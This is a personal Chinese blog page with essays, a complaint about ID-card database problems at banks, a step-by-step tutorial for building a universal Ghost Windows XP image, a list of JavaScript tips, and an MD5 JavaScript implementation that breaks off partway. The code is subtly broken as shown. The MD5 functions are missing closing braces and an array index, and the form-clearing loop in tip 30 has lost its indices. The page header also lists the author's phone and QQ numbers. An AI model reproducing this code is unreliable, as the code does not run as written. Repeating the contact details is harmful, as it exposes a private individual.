关于作者

姓名:

性别:男

出生日期:

地区:河北

联系电话:13513082321

QQ:59367561婚否:未婚
用户名:hiniao
笔名:落雨听风
地区: 河北
行业:其他

日历  

快速登录

+ 用户名:
+ 密 码:

在线留言



代理服务器

技术网站

天气预报

访问统计:
文章个数:90
评论个数:18
留言条数:1657




Powered by BlogDriver 2.1

秋风如春

 

秋天代表生命的终止、 春天代表生命的开始、 给生命注入新的活力!

文章

价值  (作者置顶)

  在现如今的社会中,每个人都想去实现自己的价值。什么是自我价值,这我现在也不大明白。也许就是去证实自已的能力吧。有许多的人这么说,但是能够真正实现自我价值的又有多少?

  不停的学习,不停的工作,这一切的目的可能没有人能够说的明白。不是活给自已,而是证明给别人看。这样活着是很累的!也许我说的没有道理,但是每个人每天都在重复着同样的事情,就像是命中注定的一样,也许这样时间长了就习惯了。时间是万能的,它可以解决一切的一切。它可以让一个人变的麻木,也可以使一个人重生!

- 作者: hiniao 2005年11月1日, 星期二 20:17  回复(4) |  引用(1) 加入博采

办个事怎么就这么难啊?
      前两天去银行办卡,先去的建行,排了半天队终于轮到我了,把单子和钱递过去眼看就办完了,可结果一查身份证说没有这个号,我晕,我都用了快十多年了,现在竟然又成黑人了!再去别的银行看看吧,结果都是一样,搞不明白怎么身份证号一下子没有了呢?一天跑了三家银行都是一样,今天觉得实在郁闷就跑到衡水去问,到了派出所一问说没事,只是数据库没有更新,我身份证都办了快一年了,他们数据库竟然还没有更新,现在的部门就这么忙啊,真不知道天天拿着工资干什么了!  

      我出来又去旁边一家工行查了查,结果还是不行,银行的人还特意打了个单子证明联网查不到我的身份证号,我拿着去给派出所的人看,说不行,得要银行开证明,我又跑到银行,人家银行说和我们没关系那是公安局的事,就这样来回跑了好几次也没进展.派出所的人说上面有通知,没有证明就不给查原因,现在这年头真是什么事都有,出了事让查一下还得要证明,真TMD气人!我说你能不能把通知给我打一份啊我好知道证明怎么开啊,给我来了一句这是内部文件不能打,你说就这么个破通知又不是什么机密文件值得这样嘛!在网上查了个公安厅的电话,打过去一个女的接的,好象刚睡醒似的,我说身份证的事就给了我个号码,结果打了十多次就是没人接,这不是耍大爷玩啊!又打市长公开电话,结果说这事不好办让我自己找找熟人,我晕,我要是自己能办了还给你打什么电话啊!跑了一天也没办成,还好这些日子没有出门,要是出门的话万一查身份证还不得把我给请到局子里去啊,总不能天天揣着户口本出门啊!不知道什么时候才能恢复正常,但愿这一天能免早点到来,真的受不了了!
    哎!现在这社会怎么都这样啊?

- 作者: 落雨听风 2008年10月19日, 星期日 00:47  回复(0) |  引用(0) 加入博采

制作自己的万能GHOSTXP系统(菜鸟级)

需要使用的工具:
PE                任意版本都可以,最好是光盘版的,只要能进行磁盘碎片整理就行了。
万能驱动包    下载地址http://bbs.wuyou.com/viewthread.php?tid=119025&extra=&highlight=%C7%FD%B6%AF%B0%FC&page=1
                      这是目前我能找到的最好用的,虽然在部署时需要手动选择驱动,但总比用深度的装封驱动包好,因为深度的         
                    必须在进入桌面后才能正常使用,如果在部署中使用,驱动还没有解压,系统就重启了。
DllCacheManager.exe  用来备份DllCache 在附件里有
cmd2exe.exe          老九的一个批处理转换工具,挺实用的
操作系统                本人选用的是windows xp SP3免激活批量许可版
各种常用的软件       先下载最新版本安装程序到D盘里备用。注意:必须先用杀软查一下,确保没毒,没流氓软件。
================================
一、安装系统
================================

1、正常安装系统,打补丁,设置好IE主页,安装需要的各种软件
  
       OFFICE安装时要将“第一次使用时安装”的项目完全安装上,否则会以后提示插入光盘。
       不建议安装杀毒软件,特别是卡巴斯基。
       找一张自己喜欢的bmp图片,可以是800×600或是1024×768的格式,改名为setup.bmp放到C:\WINDOWS\system32 ,覆盖掉原来的。这是部署时的画面,这里可以自己YY一下。

2、进行必要的系统清理,不要过渡减肥,现在的2G、4G的U盘已经很普及了,放一个1点几G的GHOST镜像还有余,如果过渡减肥会使系统变得极不稳定。
a、 首先清除多余的开机启动项
    在运行里输入regedit 打开注册表编辑器,找到下面的注册表项
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    把右边框中显示的igfxhkcmd和igfxpers两项用右键删除,如果有其他不需要的也一并删除,不懂的最好用windows优化大师清理一下

b、 关闭系统还原   “我的电脑”右键-“属性”-“系统还原”-“在所有驱动器上关闭系统还原”
      关闭休眠       “桌面”右键-“属性”-“屏幕保护程序”-“电源”-“休眠”把“启用休眠”前的勾去掉。

c、 看下控制面板里的添加删除程序,有没有流氓软件,有就卸载掉。

d、 删除多余的系统垃圾。建议在PE下进行,免得有无法删除的提示
    C:\Program Files\Windows NT\pinball  弹球游戏5M,把里面的东西全删了,只保留这个文件夹,记得删除开始菜单的连接
    C:\Program Files\Movie Maker            垃圾10M,全删掉,记得删除开始菜单的连接
    C:\Program Files\msn gaming zone     微软的在线垃圾游戏,全删掉,记得删除开始菜单的连接
    C:\Program Files\WindowsUpdate       XP升级留下的垃圾, 全删
    C:\Program Files\InstallShield Installation Information\*  安装程序留下的垃圾,全删
    C:\WINDOWS\$*                                      以$开头的所有目录,包括隐藏目录,补丁的反安装约70M,全删
    C:\WINDOWS\                                         下以KB和Q打头的*.log文件,全删
    C:\WINDOWS\ime\imejp\*                         日文输入12M,全删
    C:\WINDOWS\ime\imejp98\*                      日文输入12M,全删
    C:\WINDOWS\ime\IMJP8_1\*                     日文输入12M,全删
    C:\WINDOWS\ime\IMKR6_1\*                     韩文输入12M,全删
    C:\WINDOWS\system32\IME\CINTLGNT\*   仓颉码3M,全删
    C:\WINDOWS\system32\IME\TINTLGNT\*   注音输入3M,全删
    C:\WINDOWS\Prefetch\*                          程序缓存,全删
    C:\WINDOWS\SoftwareDistribution\Download\*  下载补丁临时存放点,全删
    C:\WINDOWS\pchealth                         帮助和支持中心,只保留C:\WINDOWS\pchealth\helpctr\binaries\HelpCtr.exe。注意:删除前先复制C:\WINDOWS\pchealth\helpctr\binaries\msconfig.exe到system32目录,这是系统配置实用程序。
    C:\WINDOWS\Help                             帮助文件,只保留这个文件夹C:\WINDOWS\Help\tours\mmtour,其他的文件全删。
    C:\WINDOWS\srchasst\chars   搜索助理(一只小狗),整个文件夹删掉
    C:\WINDOWS\srchasst\         下的msgr3en.dll和nls302en.lex,要先删除C:\WINDOWS\system32\dllcache\下的这两个文件,否则会自动还原,注意不能删除srchui.dll和srchctls.dll,不然搜索窗口的颜色会很难看。mui目录及下面的文件不能删除。建议删掉后运行一次搜索,关闭动画(一个老头)并启用高级搜索。
    C:\Program Files\Tencent\QQ\DNF     这是QQ2008强制装上的广告,整个删掉
需要注意的是
    C:\WINDOWS\Installer\ 下的所有文件及文件夹不要删,这是安装office及其补丁时留下的,删掉了将无法卸载补丁程序

3、封装准备
    建议将当前账户\桌面所有图标移动到All Users\桌面
a、保存本用户的输入法设置
      打开 控制面板-区域和语言选项-高级 将 “将所有设置应用于当前用户帐户和默认用户配置文件(D)” 选框选上,解决安装的输入法在系统还原后,系统托盘没显示的问题。

b、 运行“gpedit.msc"打开组策略
    “计算机配置\管理模板\windows components\internet explorer”
    “阻止执行首次运行自定义设置”-属性-启用
    “用户配置\管理模板\windows components\internet explorer”
    “阻止执行首次运行自定义设置”-属性-启用
     解决每次打开IE7都会出现的自定义设置,而打不开主页的问题。

    “计算机配置\管理模板\系统”
    “关闭 Windows Update 设备驱动程序搜索提示”-属性-启用
    “管理模板\系统\Internet 通信管理\Internet 通信设置”
    “关闭 Windows Update 设备驱动程序搜索” -属性-启用
    “用户配置\管理模板\系统”
    “配置驱动程序搜索位置” -属性-启用,并勾选(不搜索软盘,光驱,Windows Update)
    “用户配置\管理模板\系统”
    “设备驱动程序的代码签名” -属性-启用,并在下面的下拉框中选“忽略”
    “用户配置\管理模板\系统”
    “关闭 Windows Update 设备驱动程序搜索提示”-属性-启用
    检查系统属性中的驱动签名是否为忽略,update是否为从不搜索。

c、在 C:\ 分区下新建两个文件夹(Sysprep和install)
      找到原版光盘中的X:\SUPPORT\TOOLS\DEPLOY.CAB ,将并 DEPLOY.CAB 用 Winrar 解压到 C:\Sysprep 只保留sysprep.exe,
setupcl.exe,setupmgr.exe 这三个文件,运行setupmgr.exe创建应答文件sysprep.inf
      这时会在c:\sysprep下生成sysprep.inf及i386文件夹,把i386文件夹删掉,并把sysprep.inf里[Unattended]字段下的
      InstallFilesPath=C:\sysprep\i386
      这一行删掉,否则在部署过程中会提示找不到imjpuex.exe,imjpdadm.exe 其实这就是我们刚才删掉的那狗日输入法的安装文件。
    在sysprep.inf里加上这一段
[GuiRunOnce]
%systemdrive%\install\renboot.EXE
    这是第一次进桌面后调用的程序
    把附件里的DllCacheManager.exe、drivers.exe、renboot.EXE、youhua.REG放到c:\install下
renboot.EXE的原码如下,可用记事本保存为cmd文件,用老九的cmd2exe.exe转换为exe文件
@echo off
cd /d c:\
attrib -s -h -r c:\boot.ini
attrib -s -h -r c:\ntldr
del /q c:\boot.ini
del /q c:\ntldr
attrib -s -h -r c:\bootxp.ini
attrib -s -h -r c:\ntldrxp
REN c:\bootxp.ini boot.ini
REN c:\ntldrxp ntldr
attrib +s +h +r c:\boot.ini
attrib +s +h +r c:\ntldr
REGEDIT /S c:\install\youhua.reg
start devmgmt.msc
rd /S /q c:\install
exit

4、重启一下电脑,可用windows优化大师清理一次系统注册表和历史痕迹,对C盘进行一次磁盘碎片整理(重要性不用说了)
    清理历史痕迹。
    清理Documents and Settings目录,可以清理到10M以下。
    当前账户\Local Settings\Temp,临时文件,能删的全删
    当前账户\Local Settings\Application Data下的图标缓存IconCache.db,约5-10M
  
================================
二、封装
================================
1、提取检测电源需要的相关文件
    WIN2000在SP4.CAB/WINDOWS XP SP2在SP2.CAB/WINDOWS XP SP3在SP3.CAB/WINDOWS 2003在SP1.CAB中
    halaacpi.dll
    halacpi.dll
    halapic.dll   
    halmacpi.dll
    halmps.dll
    hal.dll     →并更名为halstnd.dll
    ntkrnlmp.exe
    ntkrnlpa.exe
    ntkrpamp.exe
    ntoskrnl.exe   →并更名为ntkrnlup.exe
    将上述文件拷贝到系统SYSTEM32目录
    dtecthal.inf
    拷贝到\WINDOWS\INF\,2000为\WINNT\INF\
    或者将以下代码保存为dtecthal.inf并拷贝到\WINDOWS\INF\,2000为\WINNT\INF\
[Version]
signature="$Windows NT$"
DriverVer=07/01/2001
[hal]
MPS_MP        = halmps.dll
MPS_UP        = halapic.dll
E_ISA_UP      = halstnd.dll
ACPIPIC_UP    = halacpi.dll
ACPIAPIC_UP    = halaacpi.dll
ACPIAPIC_MP    = halmacpi.dll
[ACPIOptions]
ACPIEnable = 2
ACPIBiosDate = 01,01,1999

2、引导文件
    将LONGHORN版本的NTLDR放到C盘下,注意将原NTLDR备份为NTLDRXP,并在部署后还原
    修改boot.ini,加上 /DETECTHAL参数,使系统启动时检测电源,注意将原boot.ini备份为bootxp.ini,并在部署后还原(我已用
renboot.EXE进行了处理)
    也可直接使用附件里的,注意都是隐藏文件,正常情况下是看不到的,需要在文件夹选项里设置显示隐藏文件
[boot loader]
timeout=0
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect /detecthal

3、更改 IDE 控制器及电源
步骤:右击我的电脑,属性,硬件,设备管理器
         在设备管理器中点击左边的+ 展开并选择要更改的驱动
         点右键,选择“更新驱动程序”   
         出现硬件更新向导,选择“否,暂时不”,并点击“下一步”,接着选择从列表或指定位置安装
         不要搜索,我要自己选择要安装的驱动程序,完成后不要重启

    “IDE ATA/ATAPI 控制器”更改为“标准双通道 PCI IDE 控制器”
    如果有两个主要IDE通道,先把第一个卸载了,更改第二个为“标准双通道 PCI IDE 控制器”
    (就是把有“停用”项的那个卸载了,没有这个选项的是无法卸载的,只能更改)

    电源即“计算机”项的“Advanced Configuration Power Interface(ACPI)”(可能有所不同)更改为“Standard PC”
     更改的原因是:若其它电脑如果是不同类型的ACPI,则你新克隆的电脑上就无法实现电脑软关机,并且可能会在第一次启动后崩溃。

4、卸载驱动
    按顺序卸载显示器、显卡、声卡、网卡、USB即通用串行总线控制器、端口、软盘、硬盘、鼠标、键盘、CPU等,把所有能卸载的都卸掉,提示重启都选不重启。
  
5、运行 c:\sysprep下的sysprep.exe进行装封
   勾选“不重置激活的宽限期”
         “使用最小化安装” (即所谓的 PNP 安装,好象也叫无残留驱动安装)
         “不重新产生安全标识符”
   关机模式“退出”点击“重新封装”

    注意不要点击“工厂”按钮,四个要勾选的选项,一定要选“使用最小化安装”,可以不勾选“不重新产生安全标识符”,但在装封的时候会出现 please wait while windows prepares to start... 的提示,这个过程所花的时间长短取决于你硬盘里面的资料的多少,建议还是选上。
     关机模式千万别选择重启,否则全白费

6、删除注册表中本地连接、电源相关
   
   打开注册表
    搜索“本地连接”,删除上级节点{4D36E972-E325-11CE-BFC1-08002BE10318},可避免安装到其他机器出现“本地连接2”
    删除电源相关的注册表键:

    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\ACPI_HAL
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\ACPI_HAL
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet001\Enum\ACPI_HAL
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet001\Enum\Root\ACPI_HAL
    如果有002和003也删除,可以搜索*_HAL,一般都在这个注册表键下
    删除时先右击-点权限,赋予完全控制权限,否则无法删除。
    目的是让安装程序自动识别要部署的目标计算机电源管理模式,也是制作万能GHOSTXP的关键步骤

注意:
       删除电源的注册表必须在封装后操作,否则运行sysprep时会死机。另外封装后切勿运行windows优化大师,运行后死机。

7、如果要备份DllCache,请运行c:\install\DllCacheManager.exe,并选中恢复后删除自己。

8、设置好部署需要调用的文件,如注册组件时解压驱动运行的程序,可写在注册表
   HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\runonce

方法:
       在注册表里右击runonce 新建字符串值,输入名称drivers,然后在右边的框中右击drivers,选修改,在数值数据框中输入程序运行路径c:\install\drivers.exe,这样系统就会在部署时提前解压驱动了
      
注意:
       如果要在装封时提前解压驱动,不能在这里使用批处理调用驱动解压程序, 因为系统只认批处理,当批处理执行完后,系统会继续进行部署, 而这时驱动解压程序还没有解压完驱动,系统已经部署完毕重启了, 即使在批处理里使用start /wait 这样的参数也没用。正确的方法是在runonce里直接调用驱动解压程序运行

9、最后的检查及清理
      清除c:\windows下的lastgood (最后一次正确的配置)
      清除c:\windows下的Prefetch (程序缓存)
      当前账户\Local Settings\Application Data下的图标缓存IconCache.db 看是不是又出来了,有就删除
      清除开始菜单及最近文档的列表

      封装到此为止,可以重启电脑制作GHO镜像了,最好用GHOST8.3做,因为通用性强,备份和还原的速度快,压缩率也大。这里建议先进到PE里查看C盘是否还有pagefile.sys和hiberfil.sys 有就删掉,并进行最后一次磁盘碎片整理。

================================
三、部署
================================
    计算机第一次进入桌面后,打开设备管理器,查看“IDE ATA/ATAPI 控制器”是否还是“标准双通道 PCI IDE 控制器”,如果是,就右键单击选择更新驱动程序。并在系统自动装完显卡、声卡后看看还有没装上的驱动(就是打着问号的那些),有就更新驱动程序。

附件:
install.rar (125.61 KB)
 

启动文件.rar (261.34 KB)
 

- 作者: 落雨听风 2008年10月13日, 星期一 16:53  回复(0) |  引用(0) 加入博采

生活杂谈

不要去执着的去追求完美,有时候你会发现:简简单单其实也是一种美!

      也许是人与生俱来的一种本性,或者说是人的性格,人们总是想把每件事都做的完美无缺,正是这种想法使其陷入了无法自拔的处境,其实有好多事情不必那么执着,而且,几乎没有人能够把每件事都做的那么完美,有时候简简单单处理一下也会收到很好的效果,凡事不必那么较真,只要能达到目的就行了!

      经历了四川地震,我想很多人的观点都会改变!(待续)

- 作者: 落雨听风 2008年08月18日, 星期一 18:05  回复(0) |  引用(0) 加入博采

豆蔻年华
      十七岁张扬浪漫,只凭感觉就在过程中寻找幸福和快乐,幻想惊心动魄的故事会透过喧嚣的城市映射在自己身上,由自己去演绎那世间最后的传奇.

    外面的天地一片淅沥,我一向喜欢夏天,喜欢夏的天空,夏的雨,夏的一切......雨夜本来就很黑,却因为雨,因为路灯,因为雾面变的朦胧美丽,雨后的天空格外湛蓝,蓝的明亮,蓝得清澈,蓝的让人怜爱;我的生活本来就很平淡,却因为他,因为携手,因为坎坷面变得平淡面有意义.

    不知不觉中,我们的指甲长了,头发长了,心思多了,坐在寂寞的世界,听着城市喧嚣的声音,默默的想落泪,无可否认;我的忧郁如此苍白无力.

  责任的年龄,就好像少了三千烦恼丝一样,处在这青涩面尴尬的中间过程,随着年龄的增长,我知道了父母对自己的希望,懂得了责任的重大,于是和他的携手变成一种歉疚,一种罪过,父亲的阻拦,母亲的叮嘱,就像刀一样,一刀一刀的切割着我的心.

  好多时候,好想像风筝一样挣脱了线的束缚,随一阵阵风飘然而去,没有责任,没有心痛,去寻找自己所谓的"自由",风的空灵和自由,实在是一件值得羡慕的事情.

  不知哪年哪月的哪一天?我真正的懂得了,没有欢笑的青春不完美,没有眼泪的青春是一种残缺,既然注定了要大声哭泣,那么我更愿意大声说"就让它来吧."

  "我真的好累,我走不下去了,我们放弃好不好?"说时候我的脸在流泪,好幽静的小河,只有河水流淌的声音,伴着我的呜咽声和他的呼吸声,月光透过浓密的树叶,洒在河面上,洒在他的脸上,那一刻我知道他的心在流血,河岸的石头也在笑我软弱.

  "你走不下去了吗?我背你走,这辈子,无论再苦,再难,我也不会丢下你的."就这样,我把自己软弱的身体扔在他的背上,觉得那么安全,那么舒适,他很吃力的往前走,我知道这条石铺很是坎坷,但他一直没有放下我,就这样背着我把那些伴脚石踩在脚下,此刻,眼泪滚滚的划过脸颊,我真的好感动.

  "你真的会背着我走吗?"在人生这条路上,他是不是会像现在一样背着我走完?

  "会"

  "一直?"

  "一直!"

  他回答的很肯定,他的坚持终于触动了我的心灵深处,我决定和他走下去,再苦也愿意.

  "我们要为彼此改变,要让所有的人肯定我们."随着这样的宣言,我们都暗下决心,一定要为彼此改变,让我们的家人肯定我们的携手.

    "我们不能再漫步了,我们要加速度奔跑",说完,我们牵着彼此的手,开始奔跑.没那一刻起,我们选择了彼此,选择了改变,选择了承受---我们不能改变世人,我们可以改变自己.

  我们开始学着承受痛苦,把眼泪当珍珠一样收藏.把它贮藏在成功的那一天去流,那一天,哪怕是流个大海汪洋.无论生活将经历多少委屈和艰辛,我们都会以一个朝气蓬勃的面孔去面对.我们深信,花谢意味着花开.

  我们会等待,等待家人理解,等待亲情,亲情是一种永远代替不了的关爱,永远忘不了的梗.我们会这样一直含着眼泪和心酸等着.

  十七岁---雨季,虽然心酸多了一点,伤多了一点,痛多了一点,但我们仍然幻想着阳光洒向大地,洒在我们自己的身上的暖暖的感觉.

  我们别无选择,因为我们无法拒绝成长.所以我们只能在被束缚和展颜大笑间挣扎着.贮藏着泪水.等待着,看着远方的黎明.

  青草一样嫩嫩的梦在远方,湖水一样蓝蓝的歌在远方,蔻丹一样红红的云在远方,宝石一样灿灿的星在远方,远方有山,有树,有海,有阳光.

  我们神往的营地在远方,我们理想的栖所在远方,我们的期待,我们的希冀,连同我们的心都在远方.

  我们把目光投向远方,我们把明天交给远方,我们不奢求把所有的浪漫刻在远方,我们不企盼远方永远清脆,永远葱绿,我们一路追寻,一路欢歌,洒下一路汗水,留下一路足迹,我们走过波峰浪谷,我们燃起生命的篝火,我们仰望蓼丝手中的桂冠.

  只有懂得奋斗的人才会欣赏远方的生机.

  只有拼搏的人才会欣赏远方懂得壮丽.

  走吧,我们继续----奔向远方.....

- 作者: 落雨听风 2007年01月17日, 星期三 22:55  回复(0) |  引用(1) 加入博采

jsP基础

jsP基础

每一项都是js中的小技巧,但十分的实用!
1.document.write(""); 输出语句
2.JS中的注释为//
3.传统的HTML文档顺序是:document->html->(head,body)
4.一个浏览器窗口中的DOM顺序是:window->(navigator,screen,history,location,document)
5.得到表单中元素的名称和值:document.getElementById("表单中元素的ID号").name(或value)
6.一个小写转大写的JS: document.getElementById("output").value = document.getElementById("input").value.toUpperCase();
7.JS中的值类型:String,Number,Boolean,Null,Object,Function
8.JS中的字符型转换成数值型:parseInt(),parseFloat()
9.JS中的数字转换成字符型:(""+变量)
10.JS中的取字符串长度是:(length)
11.JS中的字符与字符相连接使用+号.
12.JS中的比较操作符有:==等于,!=不等于,>,>=,<.<=
13.JS中声明变量使用:var来进行声明
14.JS中的判断语句结构:if(condition){}else{}
15.JS中的循环结构:for([initial expression];[condition];[upadte expression]) {inside loop}
16.循环中止的命令是:break
17.JS中的函数定义:function functionName([parameter],...){statement[s]}
18.当文件中出现多个form表单时.可以用document.forms[0],document.forms[1]来代替.
19.窗口:打开窗口window.open(), 关闭一个窗口:window.close(), 窗口本身:self
20.状态栏的设置:window.status="字符";
21.弹出提示信息:window.alert("字符");
22.弹出确认框:window.confirm();
23.弹出输入提示框:window.prompt();
24.指定当前显示链接的位置:window.location.href="URL"
25.取出窗体中的所有表单的数量:document.forms.length
26.关闭文档的输出流:document.close();
27.字符串追加连接符:+=
28.创建一个文档元素:document.createElement(),document.createTextNode()
29.得到元素的方法:document.getElementById()
30.设置表单中所有文本型的成员的值为空:
var form = window.document.forms[0]
for (var i = 0; i<form.elements.length;i++){
     if (form.elements.type == "text"){
         form.elements.value = "";
     }
}
31.复选按钮在JS中判断是否选中:document.forms[0].checkThis.checked (checked属性代表为是否选中返回TRUE或FALSE)
32.单选按钮组(单选按钮的名称必须相同):取单选按钮组的长度document.forms[0].groupName.length
33.单选按钮组判断是否被选中也是用checked.
34.下拉列表框的值:document.forms[0].selectName.options[n].value (n有时用下拉列表框名称加上.selectedIndex来确定被选中的值)
35.字符串的定义:var myString = new String("This is lightsword");
36.字符串转成大写:string.toUpperCase(); 字符串转成小写:string.toLowerCase();
37.返回字符串2在字符串1中出现的位置:String1.indexOf("String2")!=-1则说明没找到.
38.取字符串中指定位置的一个字符:StringA.charAt(9);
39.取出字符串中指定起点和终点的子字符串:stringA.substring(2,6);
40. 数学函数:Math.PI(返回圆周率),Math.SQRT2(返回开方),Math.max(value1,value2)返回两个数中的最在值, Math.pow(value1,10)返回value1的十次方,Math.round(value1)四舍五入函数,Math.floor (Math.random()*(n+1))返回随机数
41.定义日期型变量:var today = new Date();
42.日 期函数列表:dateObj.getTime()得到时间,dateObj.getYear()得到年份,dateObj.getFullYear()得 到四位的年份,dateObj.getMonth()得到月份,dateObj.getDate()得到日,dateObj.getDay()得到日期 几,dateObj.getHours()得到小时,dateObj.getMinutes()得到分,dateObj.getSeconds()得到 秒,dateObj.setTime(value)设置时间,dateObj.setYear(val)设置年,dateObj.setMonth (val)设置月,dateObj.setDate(val)设置日,dateObj.setDay(val)设置星期几, dateObj.setHours设置小时,dateObj.setMinutes(val)设置分,dateObj.setSeconds(val)设 置秒  [注意:此日期时间从0开始计]
43.FRAME的表示方式: [window.]frames[n].ObjFuncVarName,frames["frameName"].ObjFuncVarName,frameName.ObjFuncVarName
44.parent代表父亲对象,top代表最顶端对象
45.打开子窗口的父窗口为:opener
46.表示当前所属的位置:this
47.当在超链接中调用JS函数时用:(javascript :)来开头后面加函数名
48.在老的浏览器中不执行此JS:<!--      //-->
49.引用一个文件式的JS:<script type="text/javascript" src="aaa.js"></script>
50.指定在不支持脚本的浏览器显示的HTML:<noscript></noscript>
51. 当超链和onCLICK事件都有时,则老版本的浏览器转向a.html,否则转向b.html.例:<a href="a.html" onclick="location.href='b.html';return false">dfsadf</a>
52.JS 的内建对象有:Array,Boolean,Date,Error,EvalError,Function,Math,Number,Object, RangeError,ReferenceError,RegExp,String,SyntaxError,TypeError,URIError
53.JS中的换行:\n
54. 窗口全屏大小:<script>function fullScreen(){ this.moveTo(0,0);this.outerWidth=screen.availWidth;this.outerHeight=screen.availHeight;}window.maximize=fullScreen;</script>
55.JS中的all代表其下层的全部元素
56.JS中的焦点顺序:document.getElementByid("表单元素").tabIndex = 1
57.innerHTML 的值是表单元素的值:如<p id="para">"how are <em>you</em>"</p>,则innerHTML的值就是:how are <em>you</em>
58.innerTEXT的值和上面的一样,只不过不会把<em>这种标记显示出来.
59.contentEditable可设置元素是否可被修改,isContentEditable返回是否可修改的状态.
60.isDisabled判断是否为禁止状态.disabled设置禁止状态
61.length取得长度,返回整型数值
62.addBehavior()是一种JS调用的外部函数文件其扩展名为.htc
63.window.focus()使当前的窗口在所有窗口之前.
64.blur()指失去焦点.与FOCUS()相反.
65.select()指元素为选中状态.
66.防止用户对文本框中输入文本:onfocus="this.blur()"
67.取出该元素在页面中出现的数量:document.all.tags("div(或其它HTML标记符)").length
68.JS中分为两种窗体输出:模态和非模态.window.showModaldialog(),window.showModeless()
69.状态栏文字的设置:window.status='文字',默认的状态栏文字设置:window.defaultStatus = '文字.';
70.添加到收藏夹:external.AddFavorite("http://www.dannyg.com";,"jaskdlf");
71.JS中遇到脚本错误时不做任何操作:window.onerror = doNothing; 指定错误句柄的语法为:window.onerror = handleError;
72.JS中指定当前打开窗口的父窗口:window.opener,支持opener.opener...的多重继续.
73.JS中的self指的是当前的窗口
74.JS中状态栏显示内容:window.status="内容"
75.JS中的top指的是框架集中最顶层的框架
76.JS中关闭当前的窗口:window.close();
77.JS中提出是否确认的框:if(confirm("Are you sure?")){alert("ok");}else{alert("Not Ok");}
78.JS中的窗口重定向:window.navigate("http://www.sina.com.cn";);
79.JS中的打印:window.print()
80.JS中的提示输入框:window.prompt("message","defaultReply");
81.JS中的窗口滚动条:window.scroll(x,y)
82.JS中的窗口滚动到位置:window.scrollby
83.JS中设置时间间隔:setInterval("expr",msecDelay)或setInterval(funcRef,msecDelay)或setTimeout
84.JS中的模态显示在IE4+行,在NN中不行:showModalDialog("URL"[,arguments][,features]);
85.JS 中的退出之前使用的句柄:function verifyClose(){event.returnValue="we really like you and hope you will stay longer.";}}  window.onbeforeunload=verifyClose;
86.当窗体第一次调用时使用的文件句柄:onload()
87.当窗体关闭时调用的文件句柄:onunload()
88.window.location 的属性: protocol(http:),hostname(www.example.com),port(80),host(www.example.com:80), pathname("/a/a.html"),hash("#giantGizmo",指跳转到相应的锚记),href(全部的信息)
89.window.location.reload()刷新当前页面.
90.window.history.back()返回上一页,window.history.forward()返回下一页,window.history.go(返回第几页,也可以使用访问过的URL)
91.document.write()不换行的输出,document.writeln()换行输出
92.document.body.noWrap=true;防止链接文字折行.
93.变量名.charAt(第几位),取该变量的第几位的字符.
94."abc".charCodeAt(第几个),返回第几个字符的ASCii码值.
95.字符串连接:string.concat(string2),或用+=进行连接
96.变量.indexOf("字符",起始位置),返回第一个出现的位置(从0开始计算)
97.string.lastIndexOf(searchString[,startIndex])最后一次出现的位置.
98.string.match(regExpression),判断字符是否匹配.
99.string.replace(regExpression,replaceString)替换现有字符串.
100.string.split(分隔符)返回一个数组存储值.
101.string.substr(start[,length])取从第几位到指定长度的字符串.
102.string.toLowerCase()使字符串全部变为小写.
103.string.toUpperCase()使全部字符变为大写.
104.parseInt(string[,radix(代表进制)])强制转换成整型.
105.parseFloat(string[,radix])强制转换成浮点型.
106.isNaN(变量):测试是否为数值型.
107.定义常量的关键字:const,定义变量的关键字:var

- 作者: 落雨听风 2006年12月1日, 星期五 21:26  回复(0) |  引用(1) 加入博采

MD5算法的JavaScript实现

MD5算法的JavaScript实现

<script language="JavaScript">
/***************************************************************************** 
 * md5.js 
 * 
 * A JavaScript implementation of the RSA Data Security, Inc. MD5 
 * Message-Digest Algorithm. 
 * 
 * Copyright (C) Paul Johnston 1999. Distributed under the LGPL. 
 *****************************************************************************/ 

/* to convert strings to a list of ascii values */ 
var sAscii = " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ" 
var sAscii = sAscii + "[\]^_`abcdefghijklmnopqrstuvwxyz~"; 

/* convert integer to hex string */ 
var sHex = "0123456789ABCDEF"; 
function hex(i) { 
    h = ""; 
    for(j = 0; j <= 3; j++) { 
        h += sHex.charAt((i >> (j * 8 + 4)) & 0x0F) + 
            sHex.charAt((i >> (j * 8)) & 0x0F); 
    } 
    return h; 


/* add, handling overflows correctly */ 
function add(x, y) { 
    return ((x&0x7FFFFFFF) + (y&0x7FFFFFFF)) ^ (x&0x80000000) ^ (y&0x80000000); 


/* MD5 rounds functions */ 
function R1(A, B, C, D, X, S, T) { 
    q = add(add(A, (B & C) | (~B & D)), add(X, T)); 
    return add((q << S) | ((q >> (32 - S)) & (Math.pow(2, S) - 1)), B); 


function R2(A, B, C, D, X, S, T) { 
    q = add(add(A, (B & D) | (C & ~D)), add(X, T)); 
    return add((q << S) | ((q >> (32 - S)) & (Math.pow(2, S) - 1)), B); 


function R3(A, B, C, D, X, S, T) { 
    q = add(add(A, B ^ C ^ D), add(X, T)); 
    return add((q << S) | ((q >> (32 - S)) & (Math.pow(2, S) - 1)), B); 


function R4(A, B, C, D, X, S, T) { 
    q = add(add(A, C ^ (B | ~D)), add(X, T)); 
    return add((q << S) | ((q >> (32 - S)) & (Math.pow(2, S) - 1)), B); 


/* main entry point */ 
function calcMD5(sInp) { 

    /* Calculate length in machine words, including padding */ 
    wLen = (((sInp.length + 8) >> 6) + 1) << 4; 
    var X = new Array(wLen); 

    /* Convert string to array of words */ 
    j = 4; 
    for (i = 0; (i * 4) < sInp.length; i++) { 
        X = 0; 
        for (j = 0; (j < 4) && ((j + i * 4) < sInp.length); j++) { 
            X[i] += (sAscii.indexOf(sInp.charAt((i * 4) + j)) + 32) << (j * 8); 
        } 
    } 

    /* Append padding bits and length */ 
    if (j == 4) { 
        X[i++] = 0x80; 
    } 
    else { 
        X[i - 1] += 0x80 << (j * 8); 
    } 
    for(; i < wLen; i++) {
        X[i] = 0; 
    } 
